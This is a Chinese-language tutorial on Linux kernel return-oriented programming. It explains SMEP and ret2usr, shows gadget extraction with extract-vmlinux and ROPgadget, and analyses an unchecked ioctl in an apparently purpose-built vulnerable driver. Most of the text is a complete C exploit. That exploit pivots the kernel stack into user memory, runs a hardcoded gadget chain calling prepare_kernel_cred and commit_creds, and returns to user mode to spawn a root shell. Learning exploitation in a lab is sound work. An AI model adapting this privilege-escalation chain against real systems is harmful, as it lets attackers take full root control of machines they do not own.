Linux内核ROP学习
0x00 前言
1.SMEP（Supervisor Mode Execution Protection）：一种减缓内核利用的cpu策略，禁止内核态到用户态内存页的代码执行（32位的addresses < 0x80000000），每一页都有smep标识来标明是否允许ring0的代码执行。有时为了方便实验，可以本地关闭smep功能，方法如下：
2.传统的提权方式是在内核中获取当前进程的内核栈，遍历task_struct（具体方法参考《内核漏洞的利用与防范》p102），找到uid、gid修改值为0，并找到kernel_cap_t修改值为0xFFFFFFFF（保持所有权限）。
目前典型的攻击方式是ret2usr,即内核态执行流重定向到用户空间地址，2.6.29以后引入了cred结构，所以提权payload可为 ：
void __attribute__((regparm(3))) payload() {
commit_creds(prepare_kernel_cred(0);//创建新的凭证结构体，且uid/gid为0，为当前任务设置新的权限凭据
}
3.目标：用户空间中伪造内核栈，执行内核空间的ROP链，即在用户空间内执行内核rop gadgets提权。
ROP chain（x86_64)：
4.准备Gadget(用extract-vmlinux提取elf镜像，ROPgadget寻找gadget）：
1)sudo file /boot/vmlinuz*
2)sudo ./extract-vmlinux /boot/vmlinuz* > vmlinux
3)ROPgadget.py --binary ./vmlinux > ~/ropgadget.txt
4)grep ': pop rdi ; ret' ropgadget.txt
5.导入有漏洞的内核模块，dmesg查看加载路径：
0x01漏洞分析：
static long device_ioctl(struct file *file, unsigned int cmd, unsigned long args) { struct drv_req *req; void (*fn)(void); switch(cmd) { case 0: req = (struct drv_req *)args; printk(KERN_INFO "size = %lx\n", req->offset); printk(KERN_INFO "fn is at %p\n", &ops[req->offset]); fn = &ops[req->offset];//设备命令传输的时候，未对传入的参数做边界检查导致任意地址访问，且args是unsigned long类型，可以传入任意内核地址 fn(); break; default: break; } return 0; }
0x02 exp
/** * ROP exploit for drv.c kernel module * * gcc rop_exploit.c -O2 -o exploit */ #define _GNU_SOURCE #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <sys/mman.h> #include <assert.h> #include "drv.h" #define DEVICE_PATH "/dev/vulndrv" unsigned long user_cs; unsigned long user_ss; unsigned long user_rflags;
//取参数 static void save_state() { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "pushfq\n" "popq %2\n" : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" ); } void shell(void) { if(!getuid()) system("/bin/sh"); exit(0); } void usage(char *bin_name) { fprintf(stderr, "%s array_offset_decimal array_base_address_hex\n", bin_name); } int main(int argc, char *argv[]) { int fd; struct drv_req req; void *mapped, *temp_stack; unsigned long base_addr, stack_addr, mmap_addr, *fake_stack; if (argc != 3) { usage(argv[0]); return -1; } req.offset = strtoul(argv[1], NULL, 10); base_addr = strtoul(argv[2], NULL, 16); printf("array base address = 0x%lx\n", base_addr); stack_addr = (base_addr + (req.offset * 8)) & 0xffffffff;//栈迁移指令会把$rXx的低32位地址（形如0xXXXXXXXX的用户空间地址 ）作为新栈指针 fprintf(stdout, "stack address = 0x%lx\n", stack_addr); mmap_addr = stack_addr & 0xffff0000; assert((mapped = mmap((void*)mmap_addr, 0x20000, 7, 0x32, 0, 0)) == (void*)mmap_addr); assert((temp_stack = mmap((void*)0x30000000, 0x10000000, 7, 0x32, 0, 0)) == (void*)0x30000000); save_state();
//布置伪造栈，栈地址为执行xchg eax, esp ; ret后的stack addr，栈迁移过后就会执行rop gadgets fake_stack = (unsigned long *)(stack_addr);*fake_stack ++= 0xffffffff810027f9UL; /* pop %rdi; ret */ fake_stack = (unsigned long *)(stack_addr + 0x11e8 + 8); *fake_stack ++= 0x0UL; /* NULL */ *fake_stack ++= 0xffffffff8108e530UL; /* prepare_kernel_cred() */ *fake_stack ++= 0xffffffff81044fe1UL; /* pop %rdx; ret */ //*fake_stack ++= 0xffffffff81095190UL; /* commit_creds() */ *fake_stack ++= 0xffffffff8108e276UL; // commit_creds() + 2 instructions，为ret到下一gadget须除去push ebp， *fake_stack ++= 0xffffffff81033cf8UL; /* mov %rax, %rdi; call %rdx */ *fake_stack ++= 0xffffffff81052804UL; // swapgs ; ret //*fake_stack ++= 0xdeadbeefUL; // dummy placeholder *fake_stack ++= 0xffffffff81229d46UL; /* iretq */ *fake_stack ++= (unsigned long)shell; /* spawn a shell */ *fake_stack ++= user_cs; /* saved CS */ *fake_stack ++= user_rflags; /* saved EFLAGS */ *fake_stack ++= (unsigned long)(temp_stack+0x5000000); /* mmaped stack region in user space */ *fake_stack ++= user_ss; /* saved SS */ //map = mmap((void *)..., ..., 3, 0x32, 0, 0); fd = open(DEVICE_PATH, O_RDONLY); if (fd == -1) { perror("open"); } ioctl(fd, 0, &req); return 0; }
